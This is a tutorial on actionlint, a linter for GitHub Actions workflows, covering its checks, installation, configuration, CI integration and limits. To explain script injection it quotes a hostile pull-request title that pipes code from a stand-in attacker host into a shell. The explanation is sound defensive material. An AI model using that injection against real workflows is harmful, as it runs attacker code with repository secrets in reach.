Lint GitHub Actions workflows with actionlint: setup, config and CI

GitHub doesn't check a workflow file until you push it. A misspelled key, a wrong action input or a runner label that doesn't exist shows up as a failed run, or as a job that sits in the queue waiting for a runner that will never come. actionlint is a static checker for workflow files that finds these mistakes on your machine or in CI, before the workflow runs.

Below: what actionlint checks, how to install it, the .github/actionlint.yaml config file, four ways to run it in CI, and what it leaves to other tools. The examples use actionlint v1.7.12, the latest release as of this update.

What actionlint checks

actionlint is a single Go binary, MIT-licensed, written by rhysd. It parses workflow files against GitHub's workflow syntax and also understands what's inside them: it type-checks ${{ }} expressions, knows the inputs of popular actions, and passes run: scripts to shellcheck. Here's a workflow with six mistakes in it:

name: CI
on:
  push:
    branch: main
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node_version: 22
      - run: echo "Testing ${{ github.event.pull_request.title }}"
      - run: echo "::set-output name=result::ok"
  build:
    needs: tset
    runs-on: linux-latest
    steps:
      - run: make

Running actionlint -oneline on it prints one line per error (the list of available labels is shortened here):

.github/workflows/ci.yml:4:5: unexpected key "branch" for "push" section. expected one of "branches", "branches-ignore", "paths", "paths-ignore", "tags", "tags-ignore", "types", "workflows" [syntax-check]
.github/workflows/ci.yml:14:11: input "node_version" is not defined in action "actions/setup-node@v4". available inputs are "always-auth", "architecture", "cache", "cache-dependency-path", "check-latest", "mirror", "mirror-token", "node-version", "node-version-file", "registry-url", "scope", "token" [action]
.github/workflows/ci.yml:15:32: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details [expression]
.github/workflows/ci.yml:16:14: workflow command "set-output" was deprecated. use `echo "{name}={value}" >> $GITHUB_OUTPUT` instead: https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions [deprecated-commands]
.github/workflows/ci.yml:17:3: job "build" needs job "tset" which does not exist in this workflow [job-needs]
.github/workflows/ci.yml:19:14: label "linux-latest" is unknown. available labels are "windows-latest", ..., "ubuntu-latest", ..., "self-hosted", "x64", "arm", "arm64", "linux", "macos", "windows". if it is a custom label for self-hosted runner, set list of labels in actionlint.yaml config file [runner-label]

Without -oneline, each error also prints the offending line with a caret under the problem. The rule name in brackets at the end is what you match against when you ignore a class of errors. The full list of checks has around 40 entries, each with an example. The main ones are below.

Script injection

A ${{ }} expression inside run: is substituted into the script text before the shell sees it. If the value comes from a PR title, issue body, commit message or branch name, whoever wrote that text controls part of your script. A PR titled "; curl https://evil.example | sh; echo " turns echo "Testing ${{ github.event.pull_request.title }}" into three commands.

actionlint keeps a list of untrusted properties (github.event.pull_request.title, github.event.issue.body, github.event.head_commit.message, github.head_ref and others) and reports them when they appear directly in run: or in the script input of actions/github-script. It also follows object filters, so toJSON(github.event.*.body) is caught too. The fix is to pass the value through an environment variable, which the shell treats as data:

- run: echo "Testing $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Calls to contains(), startsWith() and endsWith() are allowed, since they only return a boolean.

Expression type checks

actionlint knows the type of every context. github.repository is a string, so github.repository.permissions.admin is an error. It infers the shape of matrix from the strategy, so matrix.platform fails when the matrix only defines os. It does the same for steps.<id>.outputs and needs.<job>.outputs, which catches outputs you renamed in one place and not the other.

Action inputs

A built-in dataset covers more than 100 popular actions. A missing required input or a misspelled one (node_version instead of node-version) is reported, where GitHub would only print a warning in the run log and carry on without it. actionlint also flags action versions whose Node.js runtime GitHub no longer supports, such as actions/checkout@v3.

The dataset is keyed by major-version tag, like actions/setup-node@v4. A step pinned to a full commit SHA, or to an exact tag like @v4.4.0, is skipped. The dataset is also compiled into the binary, so actions released after your actionlint version aren't in it. Local actions (uses: ./path/to/action) are checked by reading their action.yml.

Runner labels

actionlint knows GitHub's hosted runner labels, including recent ones like macos-26-intel and ubuntu-slim, plus the generic self-hosted labels (self-hosted, linux, x64, arm64 and so on). Anything else is unknown until you list it in the config file. It also resolves runs-on: ${{ matrix.os }} and checks each value, and it reports conflicting combinations like [ubuntu-latest, windows-latest].

Deprecated commands, credentials and the rest

GitHub deprecated the set-output and save-state commands in October 2022, in favor of writing to $GITHUB_OUTPUT and $GITHUB_STATE. actionlint reports those two plus set-env and add-path.

The rest of the list includes:

• a plaintext password: in a container: or services: credentials block
• unknown permissions: scopes and invalid access levels
• invalid cron expressions and timezones in on.schedule
• invalid glob patterns in branches, tags and paths filters, including regular expressions that were meant as globs
• needs: pointing at jobs that don't exist, or dependency cycles
• inputs, outputs and secrets passed to reusable workflows
• if: conditions that are constant, or that always evaluate to true because of stray characters around ${{ }}

shellcheck and pyflakes

If shellcheck is on your PATH, actionlint runs it on every run: script that uses bash or sh, and reports its findings with the workflow file's line numbers. Before running it, actionlint replaces ${{ }} expressions with placeholders, and it disables a handful of shellcheck rules that would otherwise misfire on them. Scripts with shell: python go through pyflakes the same way.

Both integrations are optional. shellcheck is preinstalled on GitHub's Ubuntu runner images; pyflakes is not (pip install pyflakes). Pass -shellcheck= or -pyflakes= with an empty value to turn either one off, and use the SHELLCHECK_OPTS environment variable to enable or exclude specific shellcheck rules:

SHELLCHECK_OPTS='--exclude=SC2129' actionlint

Install and run actionlint

Pick whichever fits your machine. All of these are from the installation docs:

# macOS or Linux with Homebrew
brew install actionlint

# Go toolchain
go install github.com/rhysd/actionlint/cmd/actionlint@latest

# mise
mise use -g actionlint@latest

# Download script: puts the binary in the current directory
bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash)

It's also packaged for Chocolatey, Scoop, winget, Arch, Nix and asdf, and there's an official Docker image, rhysd/actionlint, which bundles shellcheck and pyflakes. Release binaries have artifact attestations you can check with gh attestation verify.

Run it with no arguments from anywhere in the repository and it finds .github/workflows/ on its own. You can also pass specific files, or - to read from stdin:

actionlint
actionlint .github/workflows/release.yml
cat workflow.yml | actionlint -

The exit code is 0 when there are no problems, 1 when it found some, 2 for a bad command-line option and 3 for any other fatal error. If you'd rather not install anything, the online playground runs actionlint in your browser through WebAssembly and doesn't send your workflow anywhere.

For machine-readable output, -format takes a Go template. -format '{{json .}}' prints a JSON array, and the repo includes a SARIF template if you want to upload results to code scanning.

Configure actionlint with .github/actionlint.yaml

actionlint works without a config file. When you need one, generate it:

actionlint -init-config

That writes .github/actionlint.yaml (or pass -config-file to use a different path). The file has three settings:

self-hosted-runner:
  # Custom runner labels. Glob patterns are allowed.
  labels:
    - linux-build
    - gpu-*

# Repository and organization variables. When set, actionlint reports
# vars.* references that aren't in this list. null disables the check.
config-variables:
  - DEPLOY_ENV
  - DEFAULT_RUNNER

paths:
  # Glob relative to the repository root.
  .github/workflows/**/*.{yml,yaml}:
    ignore:
      # Regular expressions matched against the error message.
      - "shellcheck reported issue in this script: SC2086:.+"
  .github/workflows/legacy-release.yaml:
    ignore:
      - 'the runner of ".+" action is too old to run on GitHub Actions'

The same filtering is available on the command line with -ignore, which takes a regular expression and can be repeated:

actionlint -ignore 'SC2086:' -ignore 'label ".+" is unknown'

Keep ignores narrow and put them in paths: next to the files they apply to. A blanket -ignore 'label ".+" is unknown' hides a mistyped label as easily as a custom one.

Runner labels for Tenki

Tenki Runners are selected with a runs-on label, and actionlint doesn't know those labels. A workflow that runs on Tenki fails runner-label on every job until you list them:

# .github/actionlint.yaml
self-hosted-runner:
  labels:
    - tenki-standard-small-2c-4g
    - tenki-standard-medium-4c-8g
    - tenki-standard-large-8c-16g
    - tenki-standard-large-plus-16c-32g
    - tenki-macos-26-mini
    - tenki-macos-26-small
    - tenki-macos-26-medium
    - tenki-macos-26-large

These are the standard labels from Runner Sizes & Labels. The macOS 15 images use the same pattern (tenki-macos-15-mini through tenki-macos-15-large); add those if you use them.

You could write tenki-standard-* instead, but then a typo like tenki-standard-small-4c-8g, a size that doesn't exist, passes the lint and the job waits for a runner that never picks it up. The explicit list catches it.

actionlint won't catch one Tenki-specific mistake. Tenki requires a single label as the whole runs-on value, and arrays like [self-hosted, tenki-standard-small-2c-4g] aren't supported. actionlint accepts that array, because self-hosted is a valid label on its own. If you're moving jobs over from your own runners, replace the whole array.

Tenki's Linux runners use GitHub's official runner images, so shellcheck is already installed, and a lint job fits on the smallest size, tenki-standard-small-2c-4g.

Run actionlint in CI

Running it in CI checks every pull request, including ones from people who never installed it locally.

With the download script

This is the setup the actionlint docs recommend. The download script sets an executable output with the path to the binary, and passing a version pins it. Registering the problem matcher turns each error into an annotation on the PR diff. Copy actionlint-matcher.json into .github/ first; GitHub doesn't parse actionlint's output without it.

name: Lint workflows
on:
  pull_request:
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  actionlint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - name: Download actionlint
        id: get_actionlint
        run: bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash) 1.7.12
        shell: bash
      - name: Check workflow files
        run: |
          echo "::add-matcher::.github/actionlint-matcher.json"
          ${{ steps.get_actionlint.outputs.executable }} -color
        shell: bash

A paths: filter on .github/workflows/** and .github/actionlint.yaml would skip the job on PRs that don't touch workflows. Leave it off if you plan to make this a required check. GitHub leaves a required check pending when path filtering skips its workflow, and that blocks the merge.

With the Docker image

The Docker image has shellcheck and pyflakes built in, so the step needs no install:

- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- uses: docker://rhysd/actionlint:1.7.12
  with:
    args: -color

With reviewdog

actionlint has no official GitHub Action of its own. The closest thing is reviewdog/action-actionlint, which reviewdog maintains and actionlint's docs point to. It posts findings as review comments on the pull request:

- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- uses: reviewdog/action-actionlint@2085657ab2c7f48c58edcc767fba576f63bea76b # v1.77.0
  with:
    reporter: github-pr-review
    fail_level: error

fail_level defaults to none, which means the step passes even when it finds errors. Set it if the check should fail the job.

With pre-commit

actionlint ships pre-commit hooks, so errors can stop the commit before anything reaches CI:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/rhysd/actionlint
    rev: v1.7.12
    hooks:
      - id: actionlint

The actionlint hook builds the binary with your Go toolchain. actionlint-docker uses the Docker image instead, and actionlint-system uses whatever actionlint is on your PATH.

What actionlint doesn't check

actionlint looks for mistakes. It doesn't enforce security policy, and its own docs point to a general YAML linter like yamllint for style. Some gaps worth knowing:

• Unpinned actions. actionlint accepts actions/checkout@v4. A tag can be moved to a different commit. In March 2025, reviewdog/action-setup@v1 was compromised and briefly served code that dumped secrets into workflow logs. GitHub can enforce full-SHA pinning as a repository or organization policy. Keep in mind that SHA-pinned steps skip actionlint's input checks.
• Token scope. actionlint validates the permissions: syntax, not whether a job needs contents: write.
• Dangerous triggers. A pull_request_target workflow that checks out and runs the PR's code is valid syntax, so actionlint has nothing to report.

zizmor is a static analyzer built for these cases. It has audits for unpinned uses:, excessive permissions, dangerous triggers, template injection and credential persistence after checkout. OpenSSF Scorecard grades the repository as a whole, and its Token-Permissions, Pinned-Dependencies and Dangerous-Workflow checks cover the same ground. Scorecard is better as a scheduled job than a per-PR check. actionlint and zizmor overlap on a few checks, such as script injection and hardcoded container credentials, so running both is reasonable.

For hardening on the runner side, see the self-hosted runner security checklist.

Make it a required check

Once actionlint passes on your default branch, add the actionlint job as a required status check in a branch ruleset. From then on a workflow change that fails the lint can't merge. Add .github/actionlint.yaml to CODEOWNERS next to .github/workflows/, since an ignore pattern added there can switch off a check for every workflow in the repository.